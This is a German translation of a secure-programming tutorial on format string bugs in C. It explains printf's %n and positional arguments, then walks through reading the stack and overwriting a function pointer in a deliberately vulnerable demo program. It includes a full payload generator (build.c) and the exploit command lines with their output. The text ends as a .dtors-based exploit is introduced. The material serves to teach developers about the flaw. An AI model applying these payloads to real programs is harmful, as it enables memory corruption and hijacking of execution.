Sichere Programmierung - Teil 4: format strings

ArticleCategory:

Software Development

AuthorImage:

[Foto der Autoren]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en:Frédéric Raynal

en to de:Tjabo Kloppenburg

en to de:Guido Socher

AboutTheAuthor:

Christophe Blaess ist ein unabhängiger Flugzeugingenieur. Er ist ein Linux-Fan, und erledigt den Großteil seiner Arbeit auf diesem System. Er koordiniert die Übersetzung der man-Pages des Linux Documentation Projects (LDP).

Christophe Grenier studiert im 5.Jahr am ESIEA, wo er auch als Sysadmin arbeitet. Er interessiert sich besonders für Computersicherheit.

Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von künstlichen Hormonen und ohne BSE .... es enthält nur den Schweiß ehrlicher Leute und einige Tricks.

Abstract:

Seit einiger Zeit mehren sich die Meldungen über format strings-Exploits. Dieser Artikel beschreibt, wie es zu diesen Exploits kommt, und zeigt, wie schon die Einsparung von sechs getippten Zeichen die Sicherheit eines Programms unterminieren kann. Dieser Artikel dürfte vor allem für C- und C++-Programmierer interessant sein, da vor allem in diesen Sprachen Format-Strings Verwendung finden.

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

1. Worin besteht die Gefahr?

Die meisten Sicherheitslücken entstehen durch Konfigurationsfehler oder Faulheit. Wie wir sehen werden, bestätigt sich diese Regel bei Format-Strings aufs Neue.

In einem Programm besteht häufig die Notwendigkeit, eine Zeichenkette (string) irgendwohin zu schreiben. Das "Wohin" ist dabei erstmal nicht so wichtig. Eine einfache Anweisung reicht dazu aus:

printf("%s", str);

Ein (fauler) Programmierer könnte auf die Idee kommen, sechs Zeichen (und damit Zeit) zu sparen, und stattdessen zu schreiben:

printf(str);

Derartig "Effizienz" anstrebend baut dieser Programmierer eine potentielle Sicherheitslücke in sein Programm ein. Er ist glücklich damit, einen einzelnen String als Argument übergeben zu können, der einfach unverändert angezeigt werden soll. Dieser String wird jedoch vor der Ausgabe geparst, wobei er auf Format-Direktiven wie %d, %g hin untersucht wird. Wird eine Direktive im String gefunden, dann wird das korrespondierende Argument vom Stack genommen.

Wir fangen mit einer Bescheibung der printf() Funktionen an. Eigentlich kennt sie jeder... jedoch nicht im Detail. Deshalb betrachten wir jetzt vor allem die weniger bekannten Aspekte, und sehen uns danach an, woher wir die nötigen Informationen bekommen, um die angedeutete Sicherheitslücke auszunutzen. Zum Schluss fassen wir das alles zu einem runden Beispiel zusammen.

2. In den Tiefen der Format-Strings

In diesem Kapitel betrachten wir die Format-Strings genauer. Wir werden ihre Funktionsweise kurz zusammenfassen, und dann eine nahezu unbekannte Anweisung entdecken, der wir schließlich ihre Geheimnisse entlocken..

printf() : davon haben wir doch nichts gewusst!

Fangen wir mit dem an, was wir alle aus unseren Programmierhandbüchern wissen: die meisten C-Funktionen für Input/Output setzen eine Daten-Formatierung ein, was bedeutet, dass man nicht nur Daten zur Verfügung stellt, sondern zusätzlich festlegen muss, wie es zu tun ist. Das folgende Programm zeigt das:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}

Übersetzen und Starten:

>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a

Das erste printf() schreibt die Werte des Integers a und der char-Variablen a als int (unter Verwendung von %d), wobei a in Form seines ASCII-Wertes angezeigt wird. Genauso, nur andersrum, wird beim zweiten printf() die Integervariable i in ein Zeichen umgewandelt (ASCII 64).

Alles wie gehabt und gewohnt, und konform zu vielen Funktionen, die ein Prototyping wie printf() verwenden:

  1. ein Argument in der Form einer Zeichenkette (const char *format) wird als Format-Spezifikation verwendet;
  2. ein oder mehrere optionale Argumente - die Variablen, deren Werte gemäß der Format-Spezifikation formatiert werden.

Die meisten Programmier-Anleitungen enden hier, wobei sie noch eine meist nicht sehr umfassende Liste möglicher Formatstrings angeben, wie %g, %h, %x, und vielleicht die Verwendung von ., um die Genauigkeit vorzugeben ("%5.2f"). Aber es gibt eine weitere Anweisung, über die nie gesprochen wird: %n. Hier die Info, die uns die Manpage zu printf() gibt:

Die Anzahl bis jetzt geschriebener Zeichen wird im angegebenen int *-Zeiger gespeichert. Kein Argument wird umgewandelt.

Und hieraus folgt die Kernaussage dieses Artikels: Dieses Argument macht es möglich, einen Wert in eine Zeigervariable zu schreiben, selbst wenn %n in einer Ausgabe-Funktion verwendet wird!

Bevor wir weitermachen sei angemerkt, dass es diesen Formatierungs-Befehl auch bei den Funktionen der scanf() und syslog()-Familie gibt...

Showtime!

Wir betrachten nun die Verwendung und das Verhalten von %n anhand kleiner Programme. Das erste, printf1, zeigt eine sehr einfache Verwendung:

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

Das erste Argument in printf() gibt den String "0123456789" aus, der 10 Zeichen enthält. Das nächste, %n, schreibt diesen Wert, 10, in die Variable n:

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10

Wir ändern nun das Programm ein wenig, indem wir Zeile 7 durch folgende neue Zeile ersetzen:

7:   printf("buf=%s%n\n", buf, &n);

Starten wir das veränderte Programm, dann bestätigt sich unsere Vorstellung: Die Variable n ist jetzt 14 (10 Zeichen des Strings in buf, plus die vier Zeichen "buf=" vorne im Formatstring).

Wir wissen jetzt, dass %n alle Zeichen zählt, die im Formatstring auftauchen. Wie wir gleich im printf2-Programm sehen werden, zählt es sogar noch weitere:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}

Wir benutzen die snprintf()-Funktion, um einen Buffer-Overflow zu vermeiden. Die Variable n sollte jetzt den Wert 10 haben:

>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100

Seltsam!? Das %n berechnet offensichtlich die Anzahl der Zeichen, die (eigentlich) geschrieben werden sollten. Das Beispiel zeigt, dass das Abschneiden eines Strings aufgrund einer Größenfestlegung unbeachtet bleibt.

Was wirklich geschieht? Der Format-String wird voll gefüllt, bevor er beschnitten und in den Zielpuffer kopiert wird:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}

Die Unterschiede zwischen printf3 und printf2 sind:

Wir erhalten folgende Ausgabe:

>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)

Die ersten beiden Zeilen überraschen nicht weiter. Die letzte Zeile offenbart das Verhalten der printf()-Funktion:

  1. Der Format-String wird entsprechend den Anweisungen1 eingerichtet, wodurch der String "00000\0" ensteht;
  2. Die Variableninhalte werden wie vorgegeben geschrieben - in unserem Beispiel wird x in den String kopiert, der nun so aussieht: "01234\0";
  3. zuletzt werden sizeof buf - 1 Bytes2 dieses Strings in den Zielstring buf kopiert: "0123\0"


Das ist jetzt nicht völlig exakt, entspricht jedoch im Großen und Ganzen dem Prozess. Wer sich für die genaueren Einzelheiten interessiert, sollte die Sourcen der GlibC studieren, und darin speziell die von vfprintf() im ${GLIBC_HOME}/stdio-common - Verzeichnis.

Bevor wir zum Ende dieses Kapitels kommen, sei noch darauf hingewiesen, dass das gleiche Ergebnis auf eine leicht abgewandelte Art hätte erzielt werden können. In unserem Beispiel hatten wir die Formatanweisung für die Anzahl der Stellen eingesetzt (den Punkt '.'). Es gibt jedoch noch eine weitere Anweisung, die den gleichen Effekt erzeugt: 0n, wobei n die Breite ist, und die 0 dafür sorgt, dass Leerzeichen im String durch "0" ersetzt werden sollen, wenn nicht die gesamte Stringbreite ausgenutzt wird.

Nachdem wir nun beinahe alles über Formatanweisungen wissen, und vor allem auch über "%n", werden wir das Verhalten der Anweisungen näher unter die Lupe nehmen.

3. Der Stack und printf()

Ein Spaziergang durch den Stack

Das nächste Programm wird uns durch dieses Kapitel begleiten, um uns die Zusammenhänge zwischen printf() und dem Stack zu zeigen:

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }

Dieses Programm kopiert lediglich ein Argument in den buffer. Wir achten darauf, dass kein Overflow stattfindet, also keine wichtigen Daten überschrieben werden .

>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)

Das Programm funktioniert wie erwartet :). Um die weiteren Schritte zu verstehen, betrachten wir nun zuerst, was aus Sicht des Stacks passiert, wenn in Zeile 8 snprintf() aufgerufen wird.

Abb. 1 : Der Stack zu Beginn des Aufrufs von snprintf()
snprintf()

Abbildung 1 beschreibt den Zustand des Stacks in dem Moment, in dem das Programm in die snprintf()-Funktion eintritt (wir werden sehen, dass es nicht ganz korrekt ist - aber es vermittelt uns eine Idee davon, was passiert). Die Variablen i, buffer und tmp liegen in der Reihenfolge auf dem Stack, in der sie im Programm auftreten. Mit dem Eintreten in die snprintf()-Funktion landen danach die Funktions-Parameter auf dem Stack:

  1. die Adresse des Format/Datenstrings argv[1];
  2. die Zieladresse;
  3. die Anzahl der Zeichen, die kopiert werden sollen.

Der argv[1]-String wird gleichzeitig als Formatstring und als Datenquelle benutzt. Entsprechend der normalen Reihenfolge der Parameter der snprintf()-Funktion steht argv[1] also dort, wo normalerweise der Formatstring steht. Da auch Formatstrings ohne Formatanweisungen gültig sind (nur Text), ist alles in Ordnung :)

Aber was passiert, wenn in argv[1] Formatanweisungen stehen? Die snprintf()-Funktion interpretiert sie ganz normal - und es gibt keinen Grund, warum sie das nicht tun sollte. Nur könnte man sich hier fragen, welche Argumente als zu formatierende Daten genommen werden... Nun: snprintf() nimmt sich die Daten einfach vom Stack! Schauen wir uns das mit unserem stack-Programm an:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Zuerst wird der "123 "-String in den buffer kopiert. Das %x fordert snprintf() auf, den ersten übergebenen Wert in die hexadezimale Schreibweise umzuwandeln. Gemäß Abbildung 1 ist dieser erste Wert nichts anderes als die tmp-Variable, die den String "\x01\x02\x03\x00" enthält. Diese Bytes werden also als Hexzahl "0x00030201" in den Buffer geschrieben. Die umgedrehte Reihenfolge ergibt sich aus der Tatsache, dass die x86-Prozessoren die Daten als Little Endian speichern.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Mit einem weiteren %x können wir weiter in den Stack hineingehen. snprintf() wird damit angewiesen, die nächsten vier Bytes hinter der tmp-Variablen auszulesen. Diese vier Bytes sind die ersten vier Bytes von buffer ("123 "), die als 0x20333231 (0x20=space, 0x33='3'...) im Speicher liegen. Also, für jedes %x liest snprintf() weitere vier Bytes vom Stack in den buffer (vier, weil ein unsigned int in einem x86-System vier Bytes belegt).

Die buffer-Variable spielt also eine doppelte Rolle:

  1. Ziel der Schreiboperation;
  2. Input-Daten für die Formatanweisung.


Wir können solange weiter im Stack graben, wie buffer die erzeugten Zeichenketten aufnehmen kann:

>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 
         0x33303378 0x333837] (63)
i = 1 (bffff654)

Noch weiter (Even higher)

Mit der eben beschriebenen Methode könnten wir wichtige Informationen wie z.B. die Rücksprungadresse der Funktion, die buffer enthält, ermitteln. Die Adresse wurde vor den Parametern der Funktion auf den Stack gelegt, und liegt deshalb jenseits von tmp, buffer und i. Dabei besteht jedoch das Problem, dass der Platz in buffer begrenzt ist. Wir bräuchten eine Fortmatanweisung, um gezielt Stackinhalte jenseits von buffer auszulesen...

Die Lösung finden wir in der Formatanweisung m$, die dazu dient, die Ausgabe-Reihenfolge von Variablen über den Formatstring zu steuern. Dabei ist m ein Integer >0, der die Position der zu benutzenden Variablen in der Liste der Argumente angibt (beginnend mit 1). Mit dieser Anweisung kommen wir weiter:

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

Die Formatanweisung %m$x gibt uns also die Möglichkeit, abwärts zu einer beliebigen Stelle im Stack zu gehen. Höhere m's bedeuten tiefere Stellen im Stack, da Parameter mit höheren Positionen zuerst auf den Stack gelegt werden:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Das \ ist hier notwendig, um das $ vor der Shell zu schützen. Mit den ersten drei Aufrufen lesen wir den Inhalt von buf aus, das in diesem Programm nur noch 12 Bytes lang ist. Mit %4\$x lesen wir den Inhalt des gespeicherten %ebp-Registers, und mit %5\$x den Inhalt des gesicherten %eip-Registers (also der Rücksprungadresse). Die letzten beiden Aufrufe zeigen den Inhalt der argc-Variablen und der Adresse in *argv.

Dieses Beispiel zeigt uns, dass man mit den zur Verfügung stehenden Format-Anweisungen den Stack auf der Suche nach interessanten Informationen durchsuchen kann, wie dem Rückgabewert einer Funktion, einer Adresse, usw...
Wir haben aber auch gesehen, dass wir mit Funktionen der printf()-Familie Inhalte von Variablen verändern können. Na, klingt das nicht wie ein wunderschönes potentielles Sicherheitsloch?

Erste Schritte zum Erfolg

Betrachten wir noch einmal das stack-Programm:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿00000000000000000000000000000000000000000000
000000000000000] (63)
i = 500 (bffff664)
Der Parameter-String für stack besteht aus:
  1. der Adresse der Variablen i,
  2. einer Formatanweisung (%.496x),
  3. einer zweiten Formatanweisung (%n), die an die angegebene Adresse schreiben wird.
Um die Adresse von i (hier 0xbffff664) zu ermitteln, können wie das Programm zweimal starten, und beim zweiten Mal die Kommandozeile entsprechend anpassen. Wie du beim Aufruf sehen kannst, hat i einen neuen Wert! :).
Durch den übergebenen Formatstring und den Stackzustand ergibt sich für snprintf() folgender Aufruf:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         die 4 ersten Bytes in buffer);

Die ersten vier Bytes (mit der Adresse von i) werden an den Anfang von buffer geschrieben. Die folgende Anweisung %.496x liest tmp vom Stack und schreibt damit weitere 60 Zeichen in den buffer (sizeof buffer = 64, 4 Bytes schon geschrieben).
Wenn der Format-Interpreter bei "%n" ankommt, schreibt er die Zahl bereits geschriebener Zeichen (496 eigentlich geschriebener Zeichen plus der vier Bytes der Adresse von i) in die als nächstes auf dem Stack folgende Adresse. Da kein Zeiger auf einen String als Parameter an snprintf() übergeben wurde, werden dafür die nächsten 4 Bytes vom Stack genommen: die ersten 4 Bytes von buffer - mit der Adresse von i!
Die Zahl 496 ist dabei relativ beliebig - es ist der Wert, der nach i geschrieben werden soll, minus 4.

Wir können das Ganze noch weiter treiben. Um i ändern zu können, brauchen wir ja seine Adresse, die nicht unbedingt bekannt ist... manchmal jedoch liefert uns ein Programm selbst die richtige Adresse:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Bei diesem Programm können wir den Stack (beinahe) beliebig kontrollieren:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

"swap AAAA%1\$n" bedeutet bei diesem Programm in Worten: "Gib AAAA aus, und schreibe dann die Anzahl geschriebener Zeichen an die Adresse, die an der Stelle 1 auf dem Stack liegt.". Wir können hier also abhängig vom Parameter gezielt den Wert von cpt1 oder cpt2 ändern.
Da %n eine Adresse benötigt, können wir nicht direkt in die Variablen schreiben [also %3$n (cpt2) oder %4$n (cpt1)], sondern müssen die Zeiger benutzen. Letztere sind in C üblich - und bieten wirklich vielfältige Manipulations-Möglichkeiten.

Variationen eines Themas

Die bislang gezeigten Beispiele treffen auf ein Programm zu, das mit egcs-2.91.66 und glibc-2.1.3-22 kompiliert wurde. Möglicherweise erhältst du auf deinem System nicht die gleichen Resulate, weil die Funktionen in der Art von *printf() von der glibc abhängen, und nicht von allen Compilern gleich compiliert werden.

Das Programm stuff zeigt diese Unterschiede auf:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

Die Arrays aaa und bbb dienen uns auf unserer Reise durch den Stack als Trennmarke. Wenn wir auf 424242 treffen wissen wir also, dass die nächsten Bytes zum buffer gehören.
Tabelle 1 zeigt die Unterschiede abhängig von der Version der glibc und der Compiler.

Tabelle 1 : Unterschiede durch die glibc
Compiler
glibc
Ausgabe
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

Wir werden im Artikel weiterhin egcs-2.91.66 und die glibc-2.1.3-22 einsetzen - wenn du auf deinem System Unterschiede feststellst, sollte dich das jetzt nicht mehr überraschen.

Exploit eines Format-Bugs

Beim Exploiten von buffer overflows hatten wir einen buffer benutzt, um die Rücksprungadresse einer Funktion zu überschreiben.

Wie wir gesehen haben, können wir mit Formtstrings an eine beliebige Stelle gehen (stack, heap, bss, .dtors, ...) - wir müssen nur sagen, wohin wir was mit Hilfe von %n schreiben wollen.

Das angreifbare Programm

Man kann einen Format-Bug auf verschiedene Art und Weise exploiten. P. Bouchareine's Artikel (Format string vulnerability) zeigt, wie man die Rücksprungadresse einer Funktion überschreiben kann, deshalb zeigen wir einen anderen Weg.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

Wir definieren eine Variable mit dem Namen ptrf, die ein Zeiger auf eine Funktion ist. Wir werden den Wert dieses Zeigers so verändern, dass eine Funktion unserer Wahl gestartet wird.

Beispiel 1

Zuerst müssen wir den Offset zwischen dem Anfang des verwundbaren Buffers und unserer aktuellen Position auf dem Stack ermitteln:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Der erste Aufruf gibt uns das, was wir brauchen: 3 Worte (1 Wort = 4 Bytes bei x86 CPU) trennen uns vom Anfang der buffer-Variablen. Der zweite Aufruf mit "AAAA%3\$x" bestätigt das.

Unser Ziel besteht nun darin, den ursprünglichen Wert des Zeigers ptrf (0x8048634, der Adresse der Funktion helloWorld()) durch den Wert 0x8048654 (Addresse von accessForbidden()) zu ersetzen.
Dazu müssen wir 0x8048654 Bytes schreiben (dezimal 134514260, also ca. 128MB). Nicht alle Rechner verfügen über den notwendigen Speicher - aber unserer tuts :-). Auf einem Dual-Pentium mit 350MHz dauert es etwa 20 Sekunden:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿00000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Was haben wir gemacht? Wir haben nur die Adresse von ptrf (0xbffff5d4) übergeben. Die folgende Formatanweisung (%.134514256x) liest das erste Wort vom Stack, mit einer "Genauigkeit" von 134514256. Wir haben schon die 4 Bytes der Adresse von ptrf geschrieben, müssen also noch 134514260-4=134514256 Bytes schreiben. Zum Schluss schreiben wir den gewünschten Wert an die angegebene Adresse (%3$n).

Speicherprobleme: teile und herrsche

Wie bereits angedeutet stehen nicht immer 128MB für den buffer zur Verfügung. Die Formatanweisung %n erwartet einen Zeiger auf einen Integer, also vier Bytes. Man kann es jedoch so modifizieren, dass es einen Zeiger auf einen short int erwartet - das sind dann nur 2 Bytes - in dem man %hn schreibt. Das heißt, wir können das Schreiben des Integers in zwei Zahlen aufspalten. Die größte zu schreibende Zahl ist dabei 0xffff (65535). Bezogen auf das vorhergehende Beispiel wandeln wir also die Operation "schreibe 0x8048654 an die Adresse 0xbffff5d4" um in zwei aufeinanderfolgende, kleinere Operationen:

Die zweite Schreibaktion findet in den High Bytes des Integers statt, was die Vertauschung der zwei Bytes erklärt.

%n (oder %hn) berechnen die Zahl der bereits in den String geschriebenen Zeichen. Diese Zahl kann sich dadurch nur erhöhen, wir müssen also zuerst den kleineren Wert schreiben. Die zweite Anweisung bekommt dann als "Genauigkeit" die Differenz zwischen dem gebrauchten Wert und dem ersten Wert. In unserem Beispiel ist die erste Anweisung %.2052x (2052 = 0x0804), und die zweite %.32336x (32336 = 0x8654 - 0x0804). Jedes folgende %hn wird die richtige Anzahl Bytes aufnehmen.

Wir müssen nur angeben wohin beide %hn geschrieben werden sollen. Der m$ Operator wird uns dabei helfen. Wenn wir die Adresse am Anfang des verletzbaren Buffers speichern, dann müssen wir nur duch den Stack gehen und den Offset zum Anfang des Stacks finden mit Hilfe des m$ Formates. Beide Adressen werden dann bei einem Offset von m und m+1 sein. Da wir die ersten 8 Bytes im Buffer für die zu überschreibende Adresse benutzen, muß der erste Wert um 8 erniedrigt werden.

So sieht unser Format-String aus:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

Das folgende build-Programm erzeugt einen Format-String abhängig von den drei Argumenten:

  1. die zu überscheibende Adresse,
  2. der dorthin zu schreibende Wert,
  3. der Offset (in WORDs) zum Anfang des angreifbaren buffers.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
The 4 bytes where we have to write are placed that way : HH HH LL LL

The variables ending with "*h" refer to the high part of the word (H)
The variables ending with "*l" refer to the low part of the word (L)
 */
char* build(unsigned int addr, 
            unsigned int value, unsigned int where) {

/* too lazy to evaluate the true length ... */
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */         
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */  
         where,               /* the %hn for the high part */        
                                                         
         vall-valh,           /* set the value for the second %hn */ 
         where+1              /* the %hn for the low part */
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */    
         "%%%d$hn"            /* the %hn for the high part */          
                                                           
         "%%.%hdx"            /* set the value for the second %hn */   
         "%%%d$hn"            /* the %hn for the low part */           
         ,                                                     
         b3+2, b2, b1, b0,    /* high address */                       
         b3, b2, b1, b0,      /* low address */                        
                                                           
         vall-8,              /* set the value for the first %hn */    
         where+1,             /* the %hn for the high part */          

         valh-vall,           /* set the value for the second %hn */   
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Abhängig davon, ob der erste geschriebene Wert der High- oder Low-Teil des WORD ist, ändert sich die Position der Argumente. Schauen wir mal, welche Lösung (ohne RAM-Probleme :-) ) das Programm ausspuckt.

Unser kleines Beispielprogramm von vorhin erlaubt es uns, den Offset zu ermitteln:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Es ist immer: 3. Da unser Programm konstruiert wurde, um zu erklären, was passiert, verfügen wir bereits über die weiteren Informationen, die wir brauchen: die Adressen von ptrf und accesForbidden(). Wir legen unseren Buffer entsprechend an:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000
000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"
Es passiert nichts! Nun, da wir einen längeren buffer verwendet haben als im vorherigen Beispiel, hat sich der Stack verschoben(ptrf ist von 0xbffff5d4 nach 0xbffff5b4 gewandert). Unsere Werte müssen entsprechend angepasst werden:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Gewonnen!!!

Ein anderer Exploit

In diesem Artikel haben wir bis jetzt gezeigt, dass Format-Bugs wirklich eine Sicherheitslücke sind. Und wir haben gesehen, wie man sie exploitet. Buffer-Overflows basieren darauf, die Rücksprungadresse eines Unterprogramms zu überschreiben. Außerdem muss man mit viel Glück und Gebeten die richtigen Werte finden. Wir haben gesehen, dass man dieses Problem bei Format-Bugs nicht hat - und man ist auch nicht auf das Überschreiben von Rücksprungadressen beschränkt.

Wie gesehen können wir mit den Format-Strings überall hin schreiben. Wir betrachten nun ein Beispiel für einen Exploit, der die .dtors-Section nutzt.

